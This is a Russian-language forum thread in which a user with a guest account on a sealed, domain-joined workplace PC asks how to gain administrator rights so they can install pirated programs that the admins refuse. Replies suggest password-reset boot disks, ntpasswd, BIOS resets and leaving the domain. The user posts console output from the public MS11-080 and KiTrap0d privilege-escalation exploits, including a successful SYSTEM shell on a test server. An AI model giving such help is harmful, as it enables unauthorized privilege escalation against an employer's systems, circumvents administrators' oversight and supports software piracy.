Фокус с runas не прокатывает.Утилита для перебора паролей тоже ничего не находит.

| Сообщение посчитали полезным:

например

| Сообщение посчитали полезным:

vptrlx
Если можно,объясните как этой штукой пользоваться. Нужно установить Питона?

| Сообщение посчитали полезным:

Загрузись с загрузочного диска и сбрось пароль.
Windows Key Enterprice Edition гугли

| Сообщение посчитали полезным:

Nightshade
BIOS тоже запаролен,а системник опечатан. Стандартные пароли не подходят,только если батарейку вытащить. Комп входит в домен,а у меня учетка с правами Гостя. Нужно установить несколько программ,а админы не хотят потому что это пиратское всё.

| Сообщение посчитали полезным:

Этот эксплоит http://www.exploit-db.com/wp-content/themes/exploit/screenshots/idlt18500/ms11-080-screenie.png не работает почему-то. Установил Питон, пишет
parser.print_help()
IndentationError: expected an indented block
Питона качал отсюда:
http://www.python.org/ftp/python/2.7.2/python-2.7.2.msi

Тренировочная ОС: Windows 2003 Server SP2 под админом

ps Уже разобрался,Питону нужны пробелы во вложенных циклах.Но всё равно не работает:
C:\>18176.py -O 2K3
[>] MS11-080 Privilege Escalation Exploit
[>] Matteo Memelli - ryujin@offsec.com
[>] Release Date 28/11/2011
[+] Retrieving Kernel info...
[+] Kernel version: ntkrnlpa.exe
[+] Kernel base address: 0x80800000L
[+] HalDispatchTable address: 0x80890070L
[+] Retrieving hal.dll info...
[+] hal.dll base address: 0x80a54000L
[+] HaliQuerySystemInformation address: 0x80a73a1eL
[+] HalpSetSystemInformation address: 0x80a75c60L
[*] Triggering AFDJoinLeaf pointer overwrite...
[*] Spawning a SYSTEM shell...
[*] Restoring token...
[+] Restore done! Have a nice day

C:\>whoami
win2003-calypso\администратор

| Сообщение посчитали полезным:

биос можно сбросить и програмно через командную строку. еще проще выйти из домена и попробовать зайти локально под админом. админы обычно ленивые и не ставят пароли на локальные учетки. Правда может стоять и запрет на локальный вход

| Сообщение посчитали полезным:

Лучше всего повышение привилегий,чтобы не трогать системные настройки. Тогда вообще можно будет работать хочешь под админом,хочешь под гостем.
Nightshade пишет:
биос можно сбросить и програмно через командную строку
не работает
Nightshade пишет:
еще проще выйти из домена и попробовать зайти локально под админом
не входит,только через домен

| Сообщение посчитали полезным:

Если ты в домене и не можешь зайти локально, то тебе не помогут утилиты взлома паролей.

| Сообщение посчитали полезным:

Calypso
--> kitrap0d<--

| Сообщение посчитали полезным:

yanus0
Что то он даже с правами админа не работает:
--------------------------------------------------
Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
-------------------------------------------- taviso@sdf.lonestar.org ---


[+] Spawning a shell to give SYSTEM token (do not close it)
[!] CreateProcess("C:\WINDOWS\SYSTEM32\CMD.EXE") returned failure, 0xc1
[!] PrepareProcessForSystemToken() returned failure
[+] Press any key to exit...


| Сообщение посчитали полезным:

Calypso
CD/USB/FDD reset disk мож поможет?

http://pogostick.net/~pnh/ntpasswd/

| Сообщение посчитали полезным:

А при чём тут этот форум!? Да ещё и в основной ветке?

| Сообщение посчитали полезным:

Недобаненые возвращаются. Исправлено.

| Сообщение посчитали полезным: